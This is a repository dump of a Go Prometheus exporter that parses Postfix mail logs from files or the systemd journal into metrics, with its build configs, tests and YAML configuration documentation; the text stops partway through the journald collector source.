├── Makefile ├── Dockerfile ├── exporter ├── journald_unsupported.go ├── testdata │ ├── postfix.yml │ ├── metrics-without-config.txt │ ├── mail.log │ └── metrics-with-config.txt ├── file.go ├── collector.go ├── journald_test.go ├── file_test.go ├── journald.go └── exporter.go ├── .goreleaser.docker.yml ├── LICENSE ├── go.mod ├── config └── config.go ├── CONFIGURATION.md ├── .goreleaser.yml ├── README.md ├── go.sum └── cmd └── postfix_exporter └── main.go /Makefile: -------------------------------------------------------------------------------- 1 | build: 2 | go build -o postfix_exporter ./cmd/postfix_exporter 3 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM quay.io/prometheus/busybox:latest 2 | LABEL maintainer="Sergey Makinen " 3 | 4 | ARG TARGETOS 5 | ARG TARGETARCH 6 | COPY dist/docker/postfix_exporter_${TARGETOS}_${TARGETARCH}/postfix_exporter /bin/postfix_exporter 7 | 8 | EXPOSE 9907 9 | USER nobody 10 | ENTRYPOINT ["/bin/postfix_exporter"] 11 | -------------------------------------------------------------------------------- /exporter/journald_unsupported.go: -------------------------------------------------------------------------------- 1 | //go:build !linux || !cgo 2 | 3 | package exporter 4 | 5 | import "time" 6 | 7 | // Journald collects Postfix logs from journald. 8 | type Journald struct { 9 | Path string 10 | Unit string 11 | Since time.Duration 12 | Test bool 13 | } 14 | 15 | func (*Journald) Collect(chan<- result) error { return ErrUnsupportedCollector } 16 | 17 | func (*Journald) Wait() {} 18 | 19 | func (*Journald) Close() error { return nil } 20 | -------------------------------------------------------------------------------- /.goreleaser.docker.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | 3 | builds: 4 | - main: ./cmd/postfix_exporter 5 | ldflags: | 6 | -s 7 | -X github.com/prometheus/common/version.Version={{.Version}} 8 | -X github.com/prometheus/common/version.Revision={{.FullCommit}} 9 | -X github.com/prometheus/common/version.Branch={{.Branch}} 10 | -X github.com/prometheus/common/version.BuildUser={{.Env.USER}}@{{.Env.HOSTNAME}} 11 | -X github.com/prometheus/common/version.BuildDate={{time "20060102-15:04:05"}} 12 | tags: 13 | - netgo 14 | targets: 15 | - linux_amd64 16 | - linux_arm64 17 | - linux_arm_7 18 | - linux_ppc64le 19 | - linux_s390x 20 | -------------------------------------------------------------------------------- /exporter/testdata/postfix.yml: -------------------------------------------------------------------------------- 1 | status_replies: 2 | - type: other 3 | regexp: ignored 4 | text: ignore 5 | - regexp: out of storage 6 | text: storage 7 | - statuses: 8 | - sent 9 | regexp: 2\.0\.0 10 | match: enhanced_code 11 | text: sent 12 | - regexp: (?i)spf|dkim|dns 13 | text: local_conf_problem 14 | - regexp: OK queued as .+ 15 | match: text 16 | text: ok 17 | - not_statuses: 18 | - bounced 19 | regexp: (.+) 20 | text: $1 21 | smtp_replies: 22 | - regexp: (?i)gr(a|e)ylist 23 | text: graylist 24 | noqueue_reject_replies: 25 | - regexp: '(Client host rejected: cannot find your hostname|Recipient address rejected: Rejected by SPF)' 26 | text: $1 27 | - regexp: (.+) 28 | text: $1 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2022, Sergey Makinen 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/vastobject/postfix_exporter/v2 2 | 3 | go 1.23.0 4 | 5 | toolchain go1.24.1 6 | 7 | require ( 8 | github.com/alecthomas/kingpin/v2 v2.4.0 9 | github.com/coreos/go-systemd/v22 v22.5.0 10 | github.com/nxadm/tail v1.4.11 11 | github.com/prometheus/client_golang v1.21.1 12 | github.com/prometheus/common v0.63.0 13 | github.com/prometheus/exporter-toolkit v0.14.0 14 | gopkg.in/yaml.v3 v3.0.1 15 | ) 16 | 17 | require ( 18 | github.com/alecthomas/units v0.0.0-20240927000941-0f3dac36c52b // indirect 19 | github.com/beorn7/perks v1.0.1 // indirect 20 | github.com/cespare/xxhash/v2 v2.3.0 // indirect 21 | github.com/fsnotify/fsnotify v1.8.0 // indirect 22 | github.com/jpillora/backoff v1.0.0 // indirect 23 | github.com/klauspost/compress v1.18.0 // indirect 24 | github.com/kylelemons/godebug v1.1.0 // indirect 25 | github.com/mdlayher/socket v0.5.1 // indirect 26 | github.com/mdlayher/vsock v1.2.1 // indirect 27 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect 28 | github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f // indirect 29 | github.com/prometheus/client_model v0.6.1 // indirect 30 | github.com/prometheus/procfs v0.16.0 // indirect 31 | github.com/xhit/go-str2duration/v2 v2.1.0 // indirect 32 | golang.org/x/crypto v0.36.0 // indirect 33 | golang.org/x/net v0.38.0 // indirect 34 | golang.org/x/oauth2 v0.28.0 // indirect 35 | golang.org/x/sync v0.12.0 // indirect 36 | golang.org/x/sys v0.31.0 // indirect 37 | golang.org/x/text v0.23.0 // indirect 38 | google.golang.org/protobuf v1.36.5 // indirect 39 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect 40 | gopkg.in/yaml.v2 v2.4.0 // indirect 41 | ) 42 | -------------------------------------------------------------------------------- /exporter/file.go: -------------------------------------------------------------------------------- 1 | package exporter 2 | 3 | import ( 4 | "bufio" 5 | "io" 6 | "os" 7 | "sync" 8 | 9 | "github.com/nxadm/tail" 10 | ) 11 | 12 | // File collects Postfix logs from a file. 13 | type File struct { 14 | Path string 15 | Test bool 16 | 17 | tail *tail.Tail 18 | closed bool 19 | done chan struct{} 20 | wg sync.WaitGroup 21 | } 22 | 23 | func (f *File) Collect(ch chan<- result) error { 24 | f.done = make(chan struct{}) 25 | if f.Test { 26 | return f.read(ch) 27 | } 28 | return f.start(ch) 29 | } 30 | 31 | func (f *File) start(ch chan<- result) error { 32 | t, err := tail.TailFile(f.Path, tail.Config{ 33 | Location: &tail.SeekInfo{Whence: io.SeekEnd}, 34 | ReOpen: true, 35 | MustExist: true, 36 | Follow: true, 37 | Logger: tail.DiscardingLogger, 38 | }) 39 | if err != nil { 40 | return err 41 | } 42 | f.tail = t 43 | f.wg.Add(1) 44 | go func() { 45 | defer f.wg.Done() 46 | for { 47 | select { 48 | case s := <-f.tail.Lines: 49 | var res result 50 | res.rec, res.err = parseRecord(s.Text) 51 | select { 52 | case ch <- res: 53 | case <-f.done: 54 | return 55 | } 56 | case <-f.done: 57 | return 58 | } 59 | } 60 | }() 61 | return nil 62 | } 63 | 64 | func (f *File) read(ch chan<- result) error { 65 | ff, err := os.Open(f.Path) 66 | if err != nil { 67 | return err 68 | } 69 | f.wg.Add(1) 70 | go func() { 71 | defer f.wg.Done() 72 | defer ff.Close() 73 | scanner := bufio.NewScanner(ff) 74 | for scanner.Scan() { 75 | if f.closed { 76 | return 77 | } 78 | var res result 79 | res.rec, res.err = parseRecord(scanner.Text()) 80 | select { 81 | case ch <- res: 82 | case <-f.done: 83 | return 84 | } 85 | } 86 | }() 87 | return nil 88 | } 89 | 90 | func (f *File) Wait() { 91 | f.wg.Wait() 92 | } 93 | 94 | func (f *File) Close() error { 95 | f.closed = true 96 | close(f.done) 97 | var err error 98 | if f.tail != nil { 99 | defer f.tail.Cleanup() 100 | err = f.tail.Stop() 101 | } 102 | return err 103 | } 104 | -------------------------------------------------------------------------------- /config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "errors" 5 | "os" 6 | "regexp" 7 | "strconv" 8 | 9 | "gopkg.in/yaml.v3" 10 | ) 11 | 12 | type Config struct { 13 | StatusReplies []StatusReplyMatchConfig `yaml:"status_replies,omitempty"` 14 | SmtpReplies []ReplyMatchConfig `yaml:"smtp_replies,omitempty"` 15 | NoqueueRejectReplies []ReplyMatchConfig `yaml:"noqueue_reject_replies,omitempty"` 16 | } 17 | 18 | func Load(name string) (*Config, error) { 19 | f, err := os.Open(name) 20 | if err != nil { 21 | return nil, errors.New("error reading config file: " + err.Error()) 22 | } 23 | defer f.Close() 24 | d := yaml.NewDecoder(f) 25 | d.KnownFields(true) 26 | var cfg Config 27 | if err = d.Decode(&cfg); err != nil { 28 | return nil, errors.New("error parsing config file: " + err.Error()) 29 | } 30 | return &cfg, nil 31 | } 32 | 33 | type StatusReplyMatchConfig struct { 34 | Statuses []string `yaml:"statuses,omitempty"` 35 | NotStatuses []string `yaml:"not_statuses,omitempty"` 36 | Regexp *Regexp `yaml:"regexp"` 37 | Match MatchType `yaml:"match,omitempty"` 38 | Text string `yaml:"text"` 39 | } 40 | 41 | func (cfg *StatusReplyMatchConfig) UnmarshalYAML(value *yaml.Node) error { 42 | type plain StatusReplyMatchConfig 43 | if err := value.Decode((*plain)(cfg)); err != nil { 44 | return err 45 | } 46 | if cfg.Text == "" { 47 | return errors.New("empty text replacement") 48 | } 49 | return nil 50 | } 51 | 52 | type ReplyMatchConfig struct { 53 | Regexp *Regexp `yaml:"regexp"` 54 | Match MatchType `yaml:"match,omitempty"` 55 | Text string `yaml:"text"` 56 | } 57 | 58 | func (cfg *ReplyMatchConfig) UnmarshalYAML(value *yaml.Node) error { 59 | type plain ReplyMatchConfig 60 | if err := value.Decode((*plain)(cfg)); err != nil { 61 | return err 62 | } 63 | if cfg.Text == "" { 64 | return errors.New("empty text replacement") 65 | } 66 | return nil 67 | } 68 | 69 | type MatchType int 70 | 71 | func (t *MatchType) UnmarshalYAML(value *yaml.Node) error { 72 | var s string 73 | if err := value.Decode(&s); err != nil { 74 | return err 75 | } 76 | switch s { 77 | case "", "text": 78 | *t = MatchTypeText 79 | case "code": 80 | *t = MatchTypeCode 81 | case "enhanced_code": 82 | *t = MatchTypeEnhancedCode 83 | default: 84 | return errors.New("unsupported match type " + strconv.Quote(s)) 85 | } 86 | return nil 87 | } 88 | 89 | // MatchType types. 90 | const ( 91 | MatchTypeText MatchType = iota 92 | MatchTypeCode 93 | MatchTypeEnhancedCode 94 | ) 95 | 96 | type Regexp struct { 97 | *regexp.Regexp 98 | } 99 | 100 | func (r *Regexp) UnmarshalYAML(value *yaml.Node) error { 101 | var s string 102 | if err := value.Decode(&s); err != nil { 103 | return err 104 | } 105 | re, err := regexp.Compile(s) 106 | if err != nil { 107 | return err 108 | } 109 | *r = Regexp{re} 110 | return nil 111 | } 112 | -------------------------------------------------------------------------------- /exporter/collector.go: -------------------------------------------------------------------------------- 1 | package exporter 2 | 3 | import ( 4 | "errors" 5 | "strconv" 6 | "strings" 7 | "time" 8 | ) 9 | 10 | // Collector provides records or errors from parsing Postfix logs. 11 | type Collector interface { 12 | Collect(ch chan<- result) error 13 | Wait() 14 | Close() error 15 | } 16 | 17 | type result struct { 18 | rec record 19 | err error 20 | } 21 | 22 | type severity string 23 | 24 | const ( 25 | severityInfo severity = "info" 26 | severityWarning severity = "warning" 27 | severityError severity = "error" 28 | severityFatal severity = "fatal" 29 | severityPanic severity = "panic" 30 | ) 31 | 32 | const bsdFormat = "Jan 2 15:04:05" 33 | 34 | type record struct { 35 | Time time.Time 36 | Hostname string 37 | Program string 38 | Subprogram string 39 | PID int64 40 | Severity severity 41 | Text string 42 | 43 | line string 44 | } 45 | 46 | func (r record) String() string { return r.line } 47 | 48 | func parseRecord(line string) (record, error) { 49 | s := line 50 | readUntil := func(substr string, n int) (string, error) { 51 | i := 0 52 | ss := s 53 | for ; n > 0; n-- { 54 | j := strings.Index(s, substr) 55 | if j == -1 { 56 | return "", errors.New("missing " + strconv.Quote(substr) + " in " + strconv.Quote(line)) 57 | } 58 | if j == 0 { 59 | // Skip consecutive substrs. 60 | n++ 61 | } 62 | s, i = s[j+len(substr):], i+j+len(substr) 63 | } 64 | return ss[:i-len(substr)], nil 65 | } 66 | ss, err := readUntil(" ", 1) 67 | if err != nil { 68 | return record{}, err 69 | } 70 | r := record{ 71 | line: line, 72 | 73 | Severity: severityInfo, 74 | } 75 | if strings.Contains(ss, ":") { 76 | // RFC3339 timestamp. 77 | r.Time, err = time.Parse(time.RFC3339Nano, ss) 78 | if err != nil { 79 | return record{}, err 80 | } 81 | } else { 82 | // Classic BSD timestamp. 83 | ss2, err := readUntil(" ", 2) 84 | if err != nil { 85 | return record{}, err 86 | } 87 | ss += " " + ss2 88 | r.Time, err = time.Parse(bsdFormat, ss) 89 | if err != nil { 90 | return record{}, err 91 | } 92 | } 93 | r.Hostname, err = readUntil(" ", 1) 94 | if err != nil { 95 | return record{}, err 96 | } 97 | r.Program, err = readUntil("[", 1) 98 | if err != nil { 99 | return record{}, err 100 | } 101 | if parts := strings.SplitN(r.Program, "/", 2); len(parts) == 2 { 102 | r.Program, r.Subprogram = parts[0], parts[1] 103 | } 104 | ss, err = readUntil("]: ", 1) 105 | if err != nil { 106 | return record{}, err 107 | } 108 | r.PID, err = strconv.ParseInt(ss, 10, 64) 109 | if err != nil { 110 | return record{}, err 111 | } 112 | ss, err = readUntil(": ", 1) 113 | if err == nil { 114 | switch severity := severity(ss); severity { 115 | case severityWarning, severityError, severityFatal, severityPanic: 116 | r.Severity = severity 117 | default: 118 | // Unread ss which is not a severity. 119 | s = ss + ": " + s 120 | } 121 | } 122 | r.Text = s 123 | return r, nil 124 | } 125 | -------------------------------------------------------------------------------- /exporter/journald_test.go: -------------------------------------------------------------------------------- 1 | package exporter 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "errors" 7 | "io" 8 | "os" 9 | "strings" 10 | "testing" 11 | "time" 12 | 13 | "github.com/coreos/go-systemd/v22/journal" 14 | "github.com/prometheus/client_golang/prometheus/testutil" 15 | "github.com/prometheus/common/expfmt" 16 | "github.com/prometheus/common/promslog" 17 | "github.com/vastobject/postfix_exporter/v2/config" 18 | ) 19 | 20 | func TestExporter_Journald_Collect(t *testing.T) { 21 | for name, test := range tests { 22 | t.Run(name, func(t *testing.T) { 23 | var ( 24 | cfg *config.Config 25 | err error 26 | ) 27 | if test.Cfg != "" { 28 | cfg, err = config.Load(test.Cfg) 29 | if err != nil { 30 | t.Fatal(err) 31 | } 32 | } 33 | exporter, err := New(&Journald{}, "postfix", cfg, promslog.NewNopLogger()) 34 | if errors.Is(err, ErrUnsupportedCollector) { 35 | t.Skip(err) 36 | } 37 | if err != nil { 38 | t.Fatalf("New() = _, %v; want nil", err) 39 | } 40 | in, err := os.Open("testdata/mail.log") 41 | if err != nil { 42 | t.Fatal(err) 43 | } 44 | defer in.Close() 45 | buf := bufio.NewReader(in) 46 | for { 47 | s, err := buf.ReadString('\n') 48 | if err == io.EOF { 49 | break 50 | } 51 | if err != nil { 52 | t.Fatal(err) 53 | } 54 | s = strings.TrimSuffix(s, "\n") 55 | if r, err := parseRecord(s); err == nil { 56 | id := r.Program 57 | if r.Subprogram != "" { 58 | id += "/" + r.Subprogram 59 | } 60 | var severity string 61 | if r.Severity != severityInfo { 62 | severity = string(r.Severity) + ": " 63 | } 64 | err = journal.Send(severity+r.Text, journal.PriInfo, map[string]string{ 65 | "SYSLOG_IDENTIFIER": id, 66 | "SYSLOG_TIMESTAMP": r.Time.Format(bsdFormat) + " ", 67 | }) 68 | if err != nil { 69 | t.Fatal(err) 70 | } 71 | } 72 | } 73 | time.Sleep(5 * time.Second) 74 | b, err := os.ReadFile(test.Metrics) 75 | if err != nil { 76 | t.Fatal(err) 77 | } 78 | if err := testutil.CollectAndCompare(exporter, bytes.NewReader(b), testMetrics...); err != nil { 79 | t.Errorf("testutil.CollectAndCompare() = %v; want nil", err) 80 | } 81 | }) 82 | } 83 | } 84 | 85 | func TestExporter_Journald_Test_Simple(t *testing.T) { 86 | for name, test := range tests { 87 | t.Run(name, func(t *testing.T) { 88 | var ( 89 | cfg *config.Config 90 | err error 91 | ) 92 | if test.Cfg != "" { 93 | cfg, err = config.Load(test.Cfg) 94 | if err != nil { 95 | t.Fatal(err) 96 | } 97 | } 98 | collector := &Journald{ 99 | Since: time.Duration(-1) * time.Hour, 100 | Test: true, 101 | } 102 | exporter, err := New(collector, "postfix", cfg, promslog.NewNopLogger()) 103 | if errors.Is(err, ErrUnsupportedCollector) { 104 | t.Skip(err) 105 | } 106 | if err != nil { 107 | t.Fatalf("New() = _, %v; want nil", err) 108 | } 109 | collector.Wait() 110 | if _, err := testutil.CollectAndFormat(exporter, expfmt.TypeTextPlain, testMetrics...); err != nil { 111 | t.Errorf("testutil.CollectAndFormat() = _, %v; want nil", err) 112 | } 113 | }) 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /exporter/file_test.go: -------------------------------------------------------------------------------- 1 | package exporter 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "io" 7 | "os" 8 | "testing" 9 | "time" 10 | 11 | "github.com/prometheus/client_golang/prometheus/testutil" 12 | "github.com/prometheus/common/promslog" 13 | "github.com/vastobject/postfix_exporter/v2/config" 14 | ) 15 | 16 | var testMetrics = []string{ 17 | "postfix_unsupported_total", 18 | "postfix_postscreen_actions_total", 19 | "postfix_connects_total", 20 | "postfix_disconnects_total", 21 | "postfix_lost_connections_total", 22 | "postfix_not_resolved_hostnames_total", 23 | "postfix_statuses_total", 24 | "postfix_delay_seconds", 25 | "postfix_status_replies_total", 26 | "postfix_smtp_replies_total", 27 | "postfix_milter_actions_total", 28 | "postfix_login_failures_total", 29 | "postfix_qmgr_statuses_total", 30 | "postfix_logs_total", 31 | "postfix_noqueue_reject_replies_total", 32 | } 33 | 34 | var tests = map[string]struct { 35 | Cfg string 36 | Metrics string 37 | }{ 38 | "with config": { 39 | Cfg: "testdata/postfix.yml", 40 | Metrics: "testdata/metrics-with-config.txt", 41 | }, 42 | "without config": { 43 | Cfg: "", 44 | Metrics: "testdata/metrics-without-config.txt", 45 | }, 46 | } 47 | 48 | func TestExporter_File_Collect(t *testing.T) { 49 | for name, test := range tests { 50 | t.Run(name, func(t *testing.T) { 51 | out, err := os.CreateTemp("", "") 52 | if err != nil { 53 | t.Fatal(err) 54 | } 55 | defer func() { 56 | out.Close() 57 | os.Remove(out.Name()) 58 | }() 59 | var cfg *config.Config 60 | if test.Cfg != "" { 61 | cfg, err = config.Load(test.Cfg) 62 | if err != nil { 63 | t.Fatal(err) 64 | } 65 | } 66 | exporter, err := New(&File{Path: out.Name()}, "postfix", cfg, promslog.NewNopLogger()) 67 | if err != nil { 68 | t.Fatalf("New() = _, %v; want nil", err) 69 | } 70 | in, err := os.Open("testdata/mail.log") 71 | if err != nil { 72 | t.Fatal(err) 73 | } 74 | defer in.Close() 75 | buf := bufio.NewReader(in) 76 | for { 77 | b, err := buf.ReadBytes('\n') 78 | if err == io.EOF { 79 | break 80 | } 81 | if err != nil { 82 | t.Fatal(err) 83 | } 84 | if _, err = out.Write(b); err != nil { 85 | t.Fatal(err) 86 | } 87 | if err = out.Sync(); err != nil { 88 | t.Fatal(err) 89 | } 90 | } 91 | time.Sleep(5 * time.Second) 92 | b, err := os.ReadFile(test.Metrics) 93 | if err != nil { 94 | t.Fatal(err) 95 | } 96 | if err := testutil.CollectAndCompare(exporter, bytes.NewReader(b), testMetrics...); err != nil { 97 | t.Errorf("testutil.CollectAndCompare() = %v; want nil", err) 98 | } 99 | }) 100 | } 101 | } 102 | 103 | func TestExporter_File_Test(t *testing.T) { 104 | for name, test := range tests { 105 | t.Run(name, func(t *testing.T) { 106 | var ( 107 | cfg *config.Config 108 | err error 109 | ) 110 | if test.Cfg != "" { 111 | cfg, err = config.Load(test.Cfg) 112 | if err != nil { 113 | t.Fatal(err) 114 | } 115 | } 116 | collector := &File{ 117 | Path: "testdata/mail.log", 118 | Test: true, 119 | } 120 | exporter, err := New(collector, "postfix", cfg, promslog.NewNopLogger()) 121 | if err != nil { 122 | t.Fatalf("New() = _, %v; want nil", err) 123 | } 124 | collector.Wait() 125 | b, err := os.ReadFile(test.Metrics) 126 | if err != nil { 127 | t.Fatal(err) 128 | } 129 | if err := testutil.CollectAndCompare(exporter, bytes.NewReader(b), testMetrics...); err != nil { 130 | t.Errorf("testutil.CollectAndCompare() = %v; want nil", err) 131 | } 132 | }) 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /CONFIGURATION.md: -------------------------------------------------------------------------------- 1 | # Postfix exporter configuration 2 | 3 | The file is written in [YAML format](http://en.wikipedia.org/wiki/YAML), defined by the scheme described below. 4 | Brackets indicate that a parameter is optional. 5 | For non-list parameters the value is set to the specified default. 6 | 7 | Generic placeholders are defined as follows: 8 | 9 | * ``: a regular string 10 | * ``: a regular expression (see https://golang.org/s/re2syntax) 11 | 12 | The other placeholders are specified separately. 13 | 14 | See [postfix.yml](exporter/testdata/postfix.yml) for configuration examples. 15 | 16 | ```yml 17 | status_replies: 18 | [ - , ... ] 19 | smtp_replies: 20 | [ - , ... ] 21 | noqueue_reject_replies: 22 | [ - , ... ] 23 | ``` 24 | 25 | ### `` 26 | 27 | The status replies are from `smtp` log entries of server replies having Postfix statuses. 28 | 29 | Example log entry: 30 | 31 | ``` 32 | Jan 1 00:00:00 hostname postfix/smtp[12345]: 123456789AB: to=, relay=example.com[123.45.67.89]:25, delay=1.23, delays=1.23/1.23/1.23/1.23, dsn=1.2.3, status=bounced (host example.com[123.45.67.89] said: 123 #1.2.3 Reasons (in reply to end of DATA command)) 33 | ``` 34 | 35 | In this case: 36 | 37 | * `123` is a status code 38 | * `1.2.3` is an enhanced status code (might be empty if absent) 39 | * `Reasons` is the text of the reply 40 | 41 | ```yml 42 | # Only allow specific statuses. 43 | statuses: 44 | [ - , ... ] 45 | 46 | # Ignore specific statuses. 47 | not_statuses: 48 | [ - , ... ] 49 | 50 | # The regular expression matching the reply code, enhanced code or text. 51 | regexp: 52 | 53 | # Match type. Accepted values: code, enhanced_code, text. 54 | [ match: | default = "text" ] 55 | 56 | # The replacement text (may include placeholders supported by Go, see https://pkg.go.dev/regexp#Regexp.Expand). 57 | text: 58 | ``` 59 | 60 | ### `` 61 | 62 | The SMTP replies are like status replies but without Postfix statuses. 63 | 64 | Example log entry: 65 | 66 | ``` 67 | Jan 1 00:00:00 hostname postfix/smtp[12345]: 123456789AB: host example.com[123.45.67.89] said: 123 1.2.3 Reasons (in reply to RCPT TO command) 68 | ``` 69 | 70 | In this case: 71 | 72 | * `123` is a status code 73 | * `1.2.3` is an enhanced status code (might be empty if absent) 74 | * `Reasons` is the text of the reply 75 | 76 | ```yml 77 | # The regular expression matching the reply code, enhanced code or text. 78 | regexp: 79 | 80 | # Match type. Accepted values: code, enhanced_code, text. 81 | [ match: | default = "text" ] 82 | 83 | # The replacement text (may include placeholders supported by Go, see https://pkg.go.dev/regexp#Regexp.Expand). 84 | text: 85 | ``` 86 | 87 | ### `` 88 | 89 | The NOQUEUE reject replies are from log entries of Postfix replies because of rejected messages. 90 | 91 | Example log entry: 92 | 93 | ``` 94 | Jan 1 00:00:00 hostname postfix/smtpd[12345]: NOQUEUE: reject: RCPT from example.com[123.45.67.89]: 123 1.2.3 : Reasons; from= to= proto=ESMTP helo= 95 | ``` 96 | 97 | In this case: 98 | 99 | * `123` is a status code 100 | * `1.2.3` is an enhanced status code (might be empty if absent) 101 | * `Reasons` is the text of the reply 102 | 103 | ```yml 104 | # The regular expression matching the reply code, enhanced code or text. 105 | regexp: 106 | 107 | # Match type. Accepted values: code, enhanced_code, text. 108 | [ match: | default = "text" ] 109 | 110 | # The replacement text (may include placeholders supported by Go, see https://pkg.go.dev/regexp#Regexp.Expand). 111 | text: 112 | ``` 113 | -------------------------------------------------------------------------------- /.goreleaser.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | 3 | builds: 4 | - main: ./cmd/postfix_exporter 5 | ldflags: | 6 | -s 7 | -X github.com/prometheus/common/version.Version={{.Version}} 8 | -X github.com/prometheus/common/version.Revision={{.FullCommit}} 9 | -X github.com/prometheus/common/version.Branch={{.Branch}} 10 | -X github.com/prometheus/common/version.BuildUser={{.Env.USER}}@{{.Env.HOSTNAME}} 11 | -X github.com/prometheus/common/version.BuildDate={{time "20060102-15:04:05"}} 12 | tags: 13 | - netgo 14 | targets: 15 | # - aix_ppc64 16 | - darwin_amd64 17 | - darwin_arm64 18 | - dragonfly_amd64 19 | - freebsd_386 20 | - freebsd_amd64 21 | - freebsd_arm64 22 | - freebsd_arm_6 23 | - freebsd_arm_7 24 | - illumos_amd64 25 | - linux_386 26 | - linux_amd64 27 | - linux_arm64 28 | - linux_arm_5 29 | - linux_arm_6 30 | - linux_arm_7 31 | - linux_mips 32 | - linux_mips64 33 | - linux_mips64le 34 | - linux_mipsle 35 | - linux_ppc64 36 | - linux_ppc64le 37 | - linux_riscv64 38 | - linux_s390x 39 | - netbsd_386 40 | - netbsd_amd64 41 | - netbsd_arm64 42 | - netbsd_arm_6 43 | - netbsd_arm_7 44 | - openbsd_386 45 | - openbsd_amd64 46 | - openbsd_arm64 47 | - openbsd_arm_7 48 | - windows_386 49 | - windows_amd64 50 | - windows_arm64 51 | overrides: 52 | - goos: linux 53 | goarch: '386' 54 | go386: sse2 55 | env: 56 | - CGO_ENABLED=1 57 | - CC=i686-linux-gnu-gcc 58 | - goos: linux 59 | goarch: amd64 60 | goamd64: v1 61 | env: 62 | - CGO_ENABLED=1 63 | - CC=x86_64-linux-gnu-gcc 64 | - goos: linux 65 | goarch: arm64 66 | goarm64: v8.0 67 | env: 68 | - CGO_ENABLED=1 69 | - CC=aarch64-linux-gnu-gcc 70 | - goos: linux 71 | goarch: arm 72 | goarm: '5' 73 | env: 74 | - CGO_ENABLED=1 75 | - CC=arm-linux-gnueabi-gcc 76 | - goos: linux 77 | goarch: arm 78 | goarm: '6' 79 | env: 80 | - CGO_ENABLED=1 81 | - CC=arm-linux-gnueabi-gcc 82 | - goos: linux 83 | goarch: arm 84 | goarm: '7' 85 | env: 86 | - CGO_ENABLED=1 87 | - CC=arm-linux-gnueabi-gcc 88 | - goos: linux 89 | goarch: mips 90 | gomips: hardfloat 91 | env: 92 | - CGO_ENABLED=1 93 | - CC=mips-linux-gnu-gcc 94 | - goos: linux 95 | goarch: mips64 96 | gomips: hardfloat 97 | env: 98 | - CGO_ENABLED=1 99 | - CC=mips64-linux-gnuabi64-gcc 100 | - goos: linux 101 | goarch: mips64le 102 | gomips: hardfloat 103 | env: 104 | - CGO_ENABLED=1 105 | - CC=mips64el-linux-gnuabi64-gcc 106 | - goos: linux 107 | goarch: mipsle 108 | gomips: hardfloat 109 | env: 110 | - CGO_ENABLED=1 111 | - CC=mipsel-linux-gnu-gcc 112 | - goos: linux 113 | goarch: ppc64le 114 | goppc64: power8 115 | env: 116 | - CGO_ENABLED=1 117 | - CC=powerpc64le-linux-gnu-gcc 118 | - goos: linux 119 | goarch: riscv64 120 | goriscv64: rva20u64 121 | env: 122 | - CGO_ENABLED=1 123 | - CC=riscv64-linux-gnu-gcc 124 | - goos: linux 125 | goarch: s390x 126 | env: 127 | - CGO_ENABLED=1 128 | - CC=s390x-linux-gnu-gcc 129 | 130 | archives: 131 | - format_overrides: 132 | - goos: windows 133 | formats: 134 | - zip 135 | 136 | release: 137 | prerelease: auto 138 | -------------------------------------------------------------------------------- /exporter/journald.go: -------------------------------------------------------------------------------- 1 | //go:build linux && cgo 2 | 3 | package exporter 4 | 5 | import ( 6 | "cmp" 7 | "fmt" 8 | "io" 9 | "strings" 10 | "sync" 11 | "time" 12 | 13 | "github.com/coreos/go-systemd/v22/sdjournal" 14 | ) 15 | 16 | // Journald collects Postfix logs from systemd journal. 17 | type Journald struct { 18 | Path string 19 | Unit string 20 | Since time.Duration 21 | Test bool 22 | 23 | r *sdjournal.JournalReader 24 | closed bool 25 | done chan time.Time 26 | wg sync.WaitGroup 27 | } 28 | 29 | func (j *Journald) Collect(ch chan<- result) error { 30 | j.done = make(chan time.Time) 31 | if j.Test { 32 | return j.read(ch) 33 | } 34 | return j.start(ch) 35 | } 36 | 37 | func (j *Journald) open() (*sdjournal.JournalReader, error) { 38 | var m []sdjournal.Match 39 | if j.Unit != "" { 40 | m = append(m, sdjournal.Match{ 41 | Field: sdjournal.SD_JOURNAL_FIELD_SYSTEMD_UNIT, 42 | Value: j.Unit, 43 | }) 44 | } 45 | d := cmp.Or(j.Since, -1) 46 | if d > 0 { 47 | d = -d 48 | } 49 | return 